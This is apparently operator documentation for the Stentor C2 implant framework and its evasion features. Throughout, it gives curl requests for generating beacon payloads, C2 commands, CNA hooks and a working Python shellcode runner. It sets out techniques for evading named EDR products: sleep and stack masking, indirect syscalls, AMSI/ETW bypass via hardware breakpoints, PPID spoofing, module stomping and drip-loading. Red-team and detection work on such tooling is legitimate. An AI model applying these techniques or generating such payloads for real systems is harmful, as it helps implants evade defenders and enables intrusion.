Evasion Kits¶
Stentor provides 13+ evasion knobs that can be configured at payload generation time and modified at runtime via C2 tasks. This page covers every evasion option, the five custom kit systems, and a decision matrix to help you choose the right configuration for your target environment.
Overview¶
Evasion options fall into two categories:
- Build-time options are embedded into the payload binary during generation. They cannot be changed after deployment (e.g., Garble obfuscation, kill date, exit function).
- Runtime options are configured at generation time but can be modified via C2 tasks after the beacon is running (e.g., sleep masking, syscall method, BeaconGate).
graph LR
A[Payload Generation<br/>API / CNA Hook] --> B[Build-Time Injection<br/>ldflags & build tags]
B --> C[Compiled Binary<br/>EXE / DLL / Shellcode]
C --> D[Runtime Evasion Config<br/>Modifiable via C2 Tasks]
D --> E[Beacon Execution<br/>Sleep Mask · Syscalls · BeaconGate]
style A fill:#6a1b9a,color:#fff
style B fill:#4a148c,color:#fff
style C fill:#311b92,color:#fff
style D fill:#1a237e,color:#fff
style E fill:#0d47a1,color:#fff Runtime modifications
Runtime options are stored in a thread-safe EvasionConfig struct protected by a sync.RWMutex. Changes made via C2 tasks take effect immediately on the next beacon cycle.
Evasion Options Reference¶
The table below lists every evasion-related field available in the payload generation request and the implant's EvasionConfig struct.
| Option | Type | Default | Build/Runtime | Description |
|---|---|---|---|---|
sleep_mask | bool | false | Runtime | Encrypt beacon memory (.text, heap) during sleep |
sleep_method | string | "direct" | Runtime | Sleep technique: "direct" or "timer_queue" (Ekko-style) |
heap_mask | bool | false | Runtime | Encrypt heap records during sleep |
stack_mask | bool | false | Runtime | Encrypt thread stack during sleep (experimental) |
stack_spoof_depth | int | 0 | Runtime | Max call stack frames to spoof (0 = all beacon frames) |
syscall_method | string | "none" | Runtime | API call routing: "none", "direct", or "indirect" |
ppid_target | string | "" | Runtime | Parent process name for PPID spoofing (e.g., "explorer.exe") |
module_stomp_dll | string | "xpsservices.dll" | Runtime | DLL to stomp for MEM_IMAGE backing |
hwbp_enabled | bool | false | Runtime | Use hardware breakpoints for AMSI/ETW bypass (no memory patches) |
beacon_gate.enabled | bool | false | Runtime | Route 25 sensitive APIs through syscalls |
beacon_gate.mask_on_call | bool | false | Runtime | Encrypt beacon memory before each gated API call |
exit_func | string | "process" | Build-time | Exit behavior: "process" (ExitProcess) or "thread" (ExitThread) |
obfuscate | bool | false | Build-time | Garble obfuscation (unique hash per build, randomized symbols) |
kill_date | string | "" | Build-time | RFC3339 expiration (payload self-terminates after this date) |
API Example¶
Generate a payload with sleep masking and indirect syscalls enabled:
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "exe",
"implant_variant": "standalone",
"listener_id": "LISTENER_UUID",
"evasion_options": {
"sleep_obfuscation": true
},
"obfuscate": true
}'
Combining options
The evasion_options object in the generation request controls build-time injection of sleep mask and syscall settings. Runtime changes are made via C2 tasks like config sleep_mask true and config syscall_method indirect after the beacon checks in.
Sleep Masking¶
Sleep masking encrypts beacon memory during sleep intervals using XOR with a random key, preventing in-memory signature scanning while the beacon is idle.
What It Does¶
When sleep masking is enabled, the beacon:
- Generates a random XOR key before each sleep cycle
- Encrypts the
.textsection (executable code) so static signatures fail - Optionally encrypts heap allocations (heap mask) to hide in-memory strings
- Optionally encrypts the thread stack (stack mask) to prevent stack-based detection
- Sleeps for the configured interval
- Decrypts everything and resumes execution
Sleep Methods¶
Uses SleepEx directly. The beacon thread sleeps while other Go runtime goroutines (GC, sysmon) continue running. This is the safest method because it respects the Go scheduler.
Go runtime safety
Go runtime goroutines (garbage collector, sysmon) will crash if they attempt to execute encrypted .text section code. The sleep mask uses goroutine pinning to ensure masking only occurs when it is safe to do so. The direct method is more reliable with the Go runtime.
Heap Masking¶
Heap masking encrypts registered heap allocations during sleep. This prevents EDR memory scanners from finding configuration strings, C2 URLs, or other indicators in heap memory while the beacon is idle.
Stack Masking¶
Stack masking encrypts the thread's call stack during sleep. This is experimental and may cause stability issues with certain Go runtime configurations.
Experimental feature
Stack masking modifies the raw thread stack memory. While tested in lab environments, it may cause crashes in edge cases where Go runtime goroutines interact with the stack during sleep. Use with caution in production engagements.
Stack Spoofing¶
Stack spoofing fabricates call stack frames to hide beacon return addresses from stack walking tools (e.g., Hunt-Sleeping-Beacons, Patriot, Moneta). The spoofer:
- Captures the real RBP via
RtlCaptureContext - Walks the RBP frame pointer chain to identify beacon frames
- Replaces beacon return addresses with legitimate system DLL addresses (
RtlUserThreadStart,BaseThreadInitThunk,NtWaitForSingleObject, etc.) - Builds a synthetic RBP chain linking each spoofed frame to the next
- Restores original values after sleep
Set stack_spoof_depth to 0 to spoof all beacon frames, or to a specific number to limit how many frames are replaced.
Runtime Configuration¶
# Set sleep interval to 30 seconds
sleep 30
# Enable sleep masking
config sleep_mask true
# Switch to timer queue method
config sleep_method timer_queue
# Enable heap masking
config heap_mask true
# Enable stack spoofing (all frames)
config stack_spoof_depth 0
Syscall Obfuscation¶
Syscall obfuscation controls how the beacon invokes Windows API functions. Three modes are available:
Modes¶
Standard Windows API calls through kernel32.dll / ntdll.dll. Every call passes through usermode DLL exports where EDR hooks are installed.
Resolves syscall numbers at runtime by walking the PEB InMemoryOrderModuleList to find ntdll, then executes the syscall instruction directly from beacon memory. Bypasses usermode hooks but leaves a "syscall from non-ntdll" artifact that stack analysis can detect.
Comparison¶
| Mode | Hook Bypass | Detection Resistance | Compatibility | Recommended For |
|---|---|---|---|---|
none | No | Low | All Windows | Lab / testing |
direct | Yes | Medium | Windows 10+ | Standard engagements |
indirect | Yes | High | Windows 10+ | EDR-heavy environments |
Acheron library
Both direct and indirect modes use the acheron library for syscall number resolution via PEB walking. The distinction is where the syscall instruction executes from: beacon memory (direct) vs. ntdll.dll (indirect).
BeaconGate¶
BeaconGate intercepts 25 specific Windows API calls and routes them through the configured syscall method (direct or indirect). This provides targeted hook bypass for the most commonly hooked APIs without requiring every API call to go through syscalls.
Gated APIs¶
The 25 APIs are organized by category:
| Category | APIs |
|---|---|
| Memory | VirtualAlloc, VirtualAllocEx, VirtualProtect, VirtualProtectEx, VirtualFree, VirtualQuery |
| Thread | CreateThread, CreateRemoteThread, ResumeThread, OpenThread, ExitThread |
| Process Memory | WriteProcessMemory, ReadProcessMemory |
| Handle | OpenProcess, CloseHandle, DuplicateHandle |
| Thread Context | GetThreadContext, SetThreadContext |
| File Mapping | CreateFileMappingA, MapViewOfFile, UnmapViewOfFile |
| Network (WinINet) | InternetOpenA, InternetConnectA |
| Registry | NtSetValueKey, NtOpenKey |
Mask-on-Call¶
When mask_on_call is enabled, BeaconGate encrypts beacon memory before each gated API call and decrypts it after. This provides maximum evasion -- the beacon's memory is only readable for the brief moment the API executes -- but incurs higher CPU overhead.
Interactive mode auto-disable
When the beacon sleep interval drops below 3 seconds (interactive mode), BeaconGate masking is automatically disabled to prevent CPU spikes. This matches Cobalt Strike 4.12 behavior.
Configuration via C2¶
# Enable BeaconGate
beacon_gate enable
# Enable mask-on-call
beacon_gate mask_on_call true
# Disable a specific API from gating
beacon_gate api VirtualAlloc false
# Re-enable a specific API
beacon_gate api VirtualAlloc true
Fallback Behavior¶
If a gated syscall fails (NTSTATUS error), BeaconGate automatically falls back to the standard Win32 API call. Fallback events are logged for operator visibility.
Best combination
BeaconGate is most effective combined with indirect syscalls. Enable both for maximum usermode hook bypass: config syscall_method indirect followed by beacon_gate enable.
Artifact Kit¶
The Artifact Kit allows operators to replace the default cross-compiled implant binaries with custom loader binaries. Three template types are supported:
| Template | Field | Description |
|---|---|---|
| Custom EXE | custom_exe_template | Replace the default EXE binary with a custom loader |
| Custom DLL | custom_dll_template | Replace the default DLL binary with a custom loader |
| Custom Service | custom_svc_template | Replace the default Service EXE with a custom loader |
How It Works¶
When a custom template is provided via the API or a CNA hook, the relay uses the provided binary directly instead of cross-compiling the implant from Go source. The relay embeds the beacon shellcode at a known offset inside the custom binary.
CNA Hook¶
The EXECUTABLE_ARTIFACT_GENERATOR hook lets a CNA script intercept payload generation and return a custom binary:
# artifact_kit.cna -- Artifact Kit hook
on EXECUTABLE_ARTIFACT_GENERATOR {
local('$filename $shellcode');
$filename = $1;
$shellcode = $2;
# Pack shellcode into custom loader
$loader = load_custom_loader($filename);
return embed_shellcode($loader, $shellcode);
}
API Example¶
Provide a base64-encoded custom EXE template in the payload generation request:
# Base64-encode your custom loader
TEMPLATE=$(base64 -w0 custom_loader.exe)
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"delivery_type\": \"exe\",
\"implant_variant\": \"standalone\",
\"listener_id\": \"LISTENER_UUID\",
\"custom_exe_template\": \"$TEMPLATE\"
}"
Template requirements
Artifact Kit templates must be standalone PE binaries that know how to load embedded shellcode. The relay embeds the beacon shellcode at a known offset in the binary. Test your custom loaders thoroughly in a lab before production use.
Use Cases¶
- Pack beacon shellcode into a custom loader with additional evasion (process hollowing, fiber execution, ETW patching)
- Use a signed legitimate binary as a carrier
- Implement custom anti-sandbox checks before beacon execution
Resource Kit¶
The Resource Kit allows operators to customize non-binary payload templates -- scripts and documents used for initial access delivery.
| Template | Field | Description |
|---|---|---|
| Custom HTA | custom_hta_template | Custom HTA page template (replaces default mshta container) |
| Custom PS1 | custom_ps1_template | Custom PowerShell download cradle (replaces default stager) |
| Custom VBA | custom_vba_template | Custom VBA macro template (replaces default DOCM/XLSM macro) |
| Custom VBS | custom_vbs_template | Custom VBScript template (replaces default VBS in HTA) |
| Custom Python | custom_python_template | Custom Python shellcode runner |
CNA Hooks¶
Multiple hooks are available for different resource types:
| Hook | Purpose |
|---|---|
RESOURCE_GENERATOR | General resource generation (VBS, scripts) |
RESOURCE_GENERATOR_VBS | VBScript-specific generation (fallback when RESOURCE_GENERATOR does not handle) |
HTA_APPEXE | HTA executable method template |
HTA_APPPS1 | HTA PowerShell method template |
PYTHON_COMPRESS | Python shellcode runner template |
Template Variables¶
The Python template receives Go template variables for shellcode injection:
| Variable | Description |
|---|---|
{{.ShellcodeHex}} | Hex-encoded shellcode bytes |
{{.ShellcodeLen}} | Length of the shellcode in bytes |
Example custom Python template:
import ctypes
shellcode = bytes.fromhex("{{.ShellcodeHex}}")
buf = ctypes.create_string_buffer(shellcode)
func = ctypes.cast(buf, ctypes.CFUNCTYPE(ctypes.c_void_p))
func()
Easiest customization path
Resource Kit templates are the easiest customization path. No binary compilation needed -- just modify the script templates with additional obfuscation, anti-sandbox checks, or social engineering content.
User-Defined Reflective Loader (UDRL)¶
UDRL replaces the default reflective loader with a custom binary that handles in-memory PE mapping. This gives operators full control over how the beacon payload is loaded into memory.
How It Works¶
- The operator provides a custom loader binary via
udrl_options.loader_binary(base64-encoded) - The custom loader binary is prepended to the beacon payload during generation
- When injected, the loader executes first and maps the beacon PE into memory
- The beacon begins execution after the loader completes PE mapping
Configuration¶
# Base64-encode the UDRL binary
LOADER=$(base64 -w0 custom_reflective_loader.bin)
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"delivery_type\": \"exe\",
\"implant_variant\": \"shellcode\",
\"listener_id\": \"LISTENER_UUID\",
\"udrl_options\": {
\"loader_binary\": \"$LOADER\"
}
}"
PE Cloning Options¶
UDRL payloads support PE cloning options to reduce IOC uniqueness:
| Option | Type | Description |
|---|---|---|
rich_header | string | Hex-encoded Rich header bytes cloned from a legitimate PE |
image_size_x86 | int | Override SizeOfImage for x86 payloads |
image_size_x64 | int | Override SizeOfImage for x64 payloads |
stomp_pe | bool | Zero MZ/PE headers after reflective loading |
cleanup | bool | Free loader memory after initialization |
smart_inject | bool | Embed function pointer hints for loader (avoids EAT walking) |
UDRL caveats
- UDRL binaries must implement the expected loader interface. Test thoroughly in a lab before production deployment.
- The UDRL loader binary is not stored in the database for regeneration. The operator must re-upload the loader binary when regenerating a UDRL payload.
Sleep Mask Kit¶
The Sleep Mask Kit allows operators to replace the default sleep mask implementation with custom Go source code.
How It Works¶
- The operator provides custom Go source code that implements the
SleepMaskKitinterface - At build time, the custom source replaces the default sleep mask via the
custom_sleepmaskbuild tag - The custom implementation handles all memory encryption/decryption during sleep
Configuration¶
The Sleep Mask Kit can be provided through three mechanisms (in priority order):
- CNA hook (highest priority):
BEACON_SLEEP_MASKreturns custom Go source - Kit templates DB: Upload source via the
kit_templatesAPI - Default implementation: Built-in sleep mask if no custom source is provided
CNA Hooks¶
| Hook | Purpose |
|---|---|
BEACON_SLEEP_MASK | Provide custom sleep mask Go source code |
SLEEP_MASK_KIT_BUILD | Modify build flags before compilation |
Example CNA hook:
on BEACON_SLEEP_MASK {
local('$variant $arch $options');
$variant = $1;
$arch = $2;
$options = $3;
# Return custom sleep mask source
return read_file("custom_sleep_mask.go");
}
on SLEEP_MASK_KIT_BUILD {
local('$filename $arch $default_flags');
$filename = $1;
$arch = $2;
$default_flags = $3;
# Add extra build tags
return "$default_flags -gcflags=-N";
}
API Example¶
Upload a sleep mask kit template:
curl -s -X POST https://stentor.app/api/v1/kit-templates \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"type": "sleepmask",
"name": "sleep_mask_default",
"content_text": "package evasion\n\ntype CustomSleepMask struct{}\n\nfunc (c *CustomSleepMask) MaskAndSleep(interval int) { ... }"
}'
Interface requirement
Custom sleep mask source must implement the SleepMaskKit interface from the evasion package. The build tag custom_sleepmask excludes the default implementation and includes your custom code.
Drip-Loading¶
Drip-loading allocates memory in small page-sized chunks with configurable delays between allocations, instead of making one large allocation that EDRs flag.
How It Defeats Detection¶
EDR products correlate large memory allocations (VirtualAlloc with sizes > 100KB) with shellcode injection. Drip-loading defeats this temporal correlation by:
- Allocating memory in small chunks (default: 4096 bytes / one page)
- Inserting a configurable delay between each allocation (default: 10ms)
- Committing each page individually so no single allocation appears suspicious
Two Modes¶
| Mode | Field | Default | Description |
|---|---|---|---|
| Staging | staging_enabled | false | Drip-load during reflective loading |
| Injection | inject_enabled | true | Drip-load during process injection |
Default behavior
Injection drip-loading is enabled by default with a 10ms delay. Staging drip-loading is disabled by default because it adds latency to the initial beacon load.
Configuration¶
| Field | Type | Default | Description |
|---|---|---|---|
staging_enabled | bool | false | Enable drip-loading during reflective loading |
staging_delay | int | 0 | Milliseconds between chunks during staging |
inject_enabled | bool | true | Enable drip-loading during process injection |
inject_delay | int | 10 | Milliseconds between chunks during injection |
API Example¶
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "exe",
"implant_variant": "standalone",
"listener_id": "LISTENER_UUID",
"drip_options": {
"staging_enabled": true,
"staging_delay": 50,
"inject_enabled": true,
"inject_delay": 20
}
}'
Additional Evasion Features¶
PPID Spoofing¶
Set the parent process for spawned child processes. Process tree analysis tools show the spoofed parent instead of the beacon process.
| Field | Value | Description |
|---|---|---|
ppid_target | "explorer.exe" | Set parent to explorer.exe |
ppid_target | "svchost.exe" | Set parent to svchost.exe |
ppid_target | "" | Disable PPID spoofing |
OPSEC note
PPID spoofing is detectable via ETW Microsoft-Windows-Kernel-Process events. The EventHeader.ProcessId reveals the real parent PID regardless of the spoofed value. Use this for defense against process tree tools, not ETW-equipped SOCs.
Module Stomping¶
Back injected code with a legitimate DLL's memory section for MEM_IMAGE backing. Instead of allocating MEM_PRIVATE memory (which stands out in memory analysis), the beacon's code occupies a section that appears to belong to a legitimate DLL.
| Field | Value | Description |
|---|---|---|
module_stomp_dll | "xpsservices.dll" | Use xpsservices.dll (~3MB .text section) |
module_stomp_dll | "" | Disable module stomping |
# Enable module stomping with a specific DLL
evasion module_stomp {"dll": "xpsservices.dll"}
# Disable module stomping
evasion module_stomp {"dll": ""}
DLL selection
Choose a DLL with a .text section large enough to contain the beacon payload. xpsservices.dll is the default because it has a ~3MB .text section, large enough for any beacon payload.
Hardware Breakpoints (HWBP)¶
Use debug registers (DR0-DR3) and a Vectored Exception Handler (VEH) instead of inline memory patches for AMSI and ETW bypass. No modified bytes appear in scanned memory regions.
| Field | Value | Description |
|---|---|---|
hwbp_enabled | true | Enable hardware breakpoint AMSI/ETW bypass |
hwbp_enabled | false | Use traditional inline patching |
Traditional AMSI/ETW bypass patches bytes in amsi.dll and ntdll.dll, which memory integrity scanners detect. Hardware breakpoints set debug registers that trigger a VEH before the function executes, returning a benign result without modifying any code bytes.
Guardrails¶
Restrict payload execution to systems matching specific patterns. Non-matching systems exit silently -- no crash, no error, no beacon.
| Field | Type | Example | Description |
|---|---|---|---|
ip | string | "10.10.10.*" | Match any local IP (wildcard) |
hostname | string | "DC*" | Match hostname (case-insensitive, wildcard) |
domain | string | "corp.local" | Match AD domain (Windows only) |
username | string | "admin*" | Match current username (case-insensitive, wildcard) |
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "exe",
"implant_variant": "standalone",
"listener_id": "LISTENER_UUID",
"guardrail_config": {
"ip": "10.10.10.*",
"domain": "corp.local"
}
}'
OPSEC best practice
Always set guardrails for production engagements. A payload without guardrails can execute on any system, including analyst sandboxes and unrelated networks.
Garble Obfuscation¶
Enable Garble obfuscation at build time to randomize function names, remove debug symbols, and encrypt string literals. Each build produces a unique binary hash.
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "exe",
"implant_variant": "standalone",
"listener_id": "LISTENER_UUID",
"obfuscate": true
}'
Garble is a build-time option. Once a payload is generated without obfuscation, it cannot be added retroactively -- regenerate the payload with obfuscate: true.
Evasion Decision Matrix¶
Use the following table to select the right evasion configuration for your target environment.
| Target Environment | Recommended Configuration |
|---|---|
| No EDR (lab) | Default settings, no evasion needed |
| Basic AV only | obfuscate: true, kill_date set, guardrails configured |
| EDR (CrowdStrike, SentinelOne, Defender for Endpoint) | Indirect syscalls + sleep mask + BeaconGate + PPID spoofing |
| EDR + memory scanning | All above + heap mask + stack spoof + module stomping |
| Highly monitored (SOC watching) | All above + custom Artifact Kit + UDRL + drip-loading + HWBP |
Example: Full Evasion Configuration¶
Generate a maximally evasive payload for a heavily monitored environment:
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "exe",
"implant_variant": "standalone",
"listener_id": "LISTENER_UUID",
"obfuscate": true,
"kill_date": "2026-06-01T00:00:00Z",
"exit_func": "thread",
"evasion_options": {
"sleep_obfuscation": true
},
"drip_options": {
"staging_enabled": true,
"staging_delay": 50,
"inject_enabled": true,
"inject_delay": 20
},
"guardrail_config": {
"ip": "10.10.10.*",
"domain": "corp.local"
}
}'
Then configure runtime evasion after the beacon checks in:
# Enable indirect syscalls
config syscall_method indirect
# Enable sleep masking with timer queue
config sleep_mask true
config sleep_method timer_queue
config heap_mask true
# Enable stack spoofing
config stack_spoof_depth 0
# Enable BeaconGate with mask-on-call
beacon_gate enable
beacon_gate mask_on_call true
# Set PPID spoofing
config ppid_target explorer.exe
# Enable hardware breakpoint AMSI/ETW bypass
config hwbp_enabled true
Layered approach
Start with minimal evasion and add layers as needed. Over-evasion increases the chance of stability issues (especially stack masking and timer queue sleep) and makes debugging harder during an engagement.